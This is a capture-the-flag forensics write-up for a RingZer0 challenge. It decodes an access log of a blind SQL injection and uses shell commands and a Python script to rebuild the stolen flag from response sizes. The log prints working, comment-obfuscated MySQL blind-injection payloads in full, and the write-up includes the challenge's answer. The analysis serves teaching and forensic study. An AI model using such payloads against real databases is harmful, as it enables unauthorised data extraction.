RingZer0-164 - We got breached again
Forensics
We got breached again
This time instead of a pcap we got a log file. It’s another sql injection attack. The logs seems to polluted by other stuff. We’ll need to clean it up before we can clearly look at it.
We’ll start by confirming that all the request went through by verifying if the response codes are all 200’s.
The following line, looks at the 9th field delimited by a space (Should be the status code) then grep for 200 and returns the number of lines.
The file is 720 lines, the first one being blank.
cat access.log | cut -d " " -f9 | grep 200 | wc -l
719
This confirms all requests are good. We’ll need just take the actual request that we need. We also need to make sure that we’re taking the commands that have user=admin’ and contain the word flag. Like the previous challenge, the first requests are enumerating the database and the last one are getting the actual flag.
grep -io "backend.php.*admin.*flag.*HTTP/1.1" access.log > requests
If look at them, we can see that they’re all url encoded. Let’s decode that.
As an example
cat requests | head -n -8 | tail -n -3
admin%27%20AND%20IF%28/%2Ak7TlLR%2A/SUBSTRING%28REVERSE%28/%2AAeKrO%2A/CONV%28HEX%28SUBSTRING%28/%2A8xbWOPesfgm%2A/%28SELECT%20GROUP_CONCAT%28CONCAT%28flag%29%29%20FROM%20chart_db.flag/%2A2sTea2h4A%2A/%29%2C38%2C1%29%29%2C16%2C2%29%29/%2AoyVZUOAE%2A/%2C5%2C1%29%3D1%2CSLEEP%282%29%2C7857337%29%20AND%20%27537 HTTP/1.1
admin%27%20AND%20IF%28/%2ANwHCPPJ0%2A/SUBSTRING%28REVERSE%28/%2AEtz%2A/CONV%28HEX%28SUBSTRING%28/%2AXmrukY%2A/%28SELECT%20GROUP_CONCAT%28CONCAT%28flag%29%29%20FROM%20chart_db.flag/%2ANm3bEZbT7%2A/%29%2C38%2C1%29%29%2C16%2C2%29%29/%2ABi8nM%2A/%2C6%2C1%29%3D1%2CSLEEP%282%29%2C655655%29%20AND%20%271475621 HTTP/1.1
admin%27%20AND%20IF%28/%2AG779%2A/SUBSTRING%28REVERSE%28/%2A84%2A/CONV%28HEX%28SUBSTRING%28/%2AZHZPpR%2A/%28SELECT%20GROUP_CONCAT%28CONCAT%28flag%29%29%20FROM%20chart_db.flag/%2ARbhsTxT8Z%2A/%29%2C38%2C1%29%29%2C16%2C2%29%29/%2AfBmS%2A/%2C7%2C1%29%3D1%2CSLEEP%282%29%2C279676732%29%20AND%20%2729 HTTP/1.1
We’ll write a small python script to decode it for us.
import urllib
queries = open('requests')
decodeQueries = open('decodedQueries','w')
for i in queries:
decodeQueries.write(urllib.unquote(i).decode("utf8"))
queries.close()
decodeQueries.close()
They’re now decoded and we can notice that there’s comments inside of the requests. We need to clean that up also.
cat decodedQueries | head -n -8 | tail -n -3
admin' AND IF(/*k7TlLR*/SUBSTRING(REVERSE(/*AeKrO*/CONV(HEX(SUBSTRING(/*8xbWOPesfgm*/(SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag/*2sTea2h4A*/),38,1)),16,2))/*oyVZUOAE*/,5,1)=1,SLEEP(2),7857337) AND '537 HTTP/1.1
admin' AND IF(/*NwHCPPJ0*/SUBSTRING(REVERSE(/*Etz*/CONV(HEX(SUBSTRING(/*XmrukY*/(SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag/*Nm3bEZbT7*/),38,1)),16,2))/*Bi8nM*/,6,1)=1,SLEEP(2),655655) AND '1475621 HTTP/1.1
admin' AND IF(/*G779*/SUBSTRING(REVERSE(/*84*/CONV(HEX(SUBSTRING(/*ZHZPpR*/(SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag/*RbhsTxT8Z*/),38,1)),16,2))/*fBmS*/,7,1)=1,SLEEP(2),279676732) AND '29 HTTP/1.1
We’ll clean that up using a simple sed command
sed 's/\/\*[0-9a-zA-Z]*\*\///g' decodedQueries > cleanQueries
Now that it’s more clear, we can see that it’s a mysql blind sql injection boolean based. It’s also time based we but can’t verify how long the server took to reply to us.
So we’ll go based on the fact that it’s a boolean based attack. The request gets a letter based on the position, converts it to HEX then converts it from HEX to binary. It will then reverse it and compare that number (either 0 or 1) to 1. If it’s true we’ll get a sleep(2) if it’s false we’ll get some random stuff.
cat cleanQueries | head -n -8 | tail -n -3
admin' AND IF(SUBSTRING(REVERSE(CONV(HEX(SUBSTRING((SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag),38,1)),16,2)),5,1)=1,SLEEP(2),7857337) AND '537 HTTP/1.1
admin' AND IF(SUBSTRING(REVERSE(CONV(HEX(SUBSTRING((SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag),38,1)),16,2)),6,1)=1,SLEEP(2),655655) AND '1475621 HTTP/1.1
admin' AND IF(SUBSTRING(REVERSE(CONV(HEX(SUBSTRING((SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag),38,1)),16,2)),7,1)=1,SLEEP(2),279676732) AND '29 HTTP/1.1
If we take a look at all the size of the responses from the server and deduct it by the size of the request we did, we should be able to deduct if the actual character is a 1 or a 0.
All requests should have one of the two different response size after we deduct the size of the our request.
URL encoded requests
After spending way too many hours trying to figure out why i wasn’t getting an actual string, i tried substracting the size of the request with the encoded character instead of the size of the request already decoded.
There’s a few thing we know about the flag. We know that it’s 38 characters because of the requests.
We can see it in this one
admin' AND IF(SUBSTRING(REVERSE(CONV(HEX(SUBSTRING((SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag),38,1)),16,2)),7,1)=1,SLEEP(2),279676732) AND '29 HTTP/1.1
The part where it says FROM chart_db.flag),38,1)
means it’s the 38
characters.
We also know that there’s 7 queries per character. We can see it a little bit further in the request. So can also assume that the first bit is a 0 also. A 1 would not make in sense.
chart_db.flag),38,1)),16,2)),5,1)
chart_db.flag),38,1)),16,2)),6,1)
chart_db.flag),38,1)),16,2)),7,1)
This shows that it’s requesting the 5th to 7th character(either 1 or 0) of the 38th position character.
Another super important thing to remember is that the IF function reverses the string of bits. That means that the 7th character is actually the second one ( if we take consider the 0 the first one), so 6 is 3, 5 is 4 and it goes on.
I did a python script to automate the whole thing.
A few things about the script:
- Since i knew it was 38 characters i created 38 lists.
- I do reverse the list that i obtain at the end because of the reverse function in the mysql request
- The 228 number came out when i substracted the responselen - mysql_requestlen. I had two number 228 or 332, so either of them had to be a 0 or 1.
- The length of the request has to be before it gets decoded.
cat access.log | grep "flag" > flag.log
import urllib
import re
log = open('flag.log')
flag=""
flag2={}
# Creating lists for each character
for i in range(1,39):
flag2[i] = []
for i in log:
#Decoding log
decodedString = urllib.unquote(i).decode("utf8")
mysql_request=re.findall('admin.*HTTP/1.1', decodedString)
mysql_requestlen= len(mysql_request[0])-8
response = decodedString.split(" ")
responselen = response[16]
letter_position= decodedString.split(',')
if int(responselen) - mysql_requestlen == 228:
flag2[int(letter_position[1])].insert(int(letter_position[5]),"0")
else:
flag2[int(letter_position[1])].insert(int(letter_position[5]),"1")
for i in range(1,39):
flag2[i].append("0")
flag2[i].reverse()
flag += chr(int(''.join(flag2[i]),2))
print flag
Result is:
FLAG-oz5K5V60LjG92O498I2G921Qj87480og
The flag is FLAG-oz5K5V60LjG92O498I2G921Qj87480og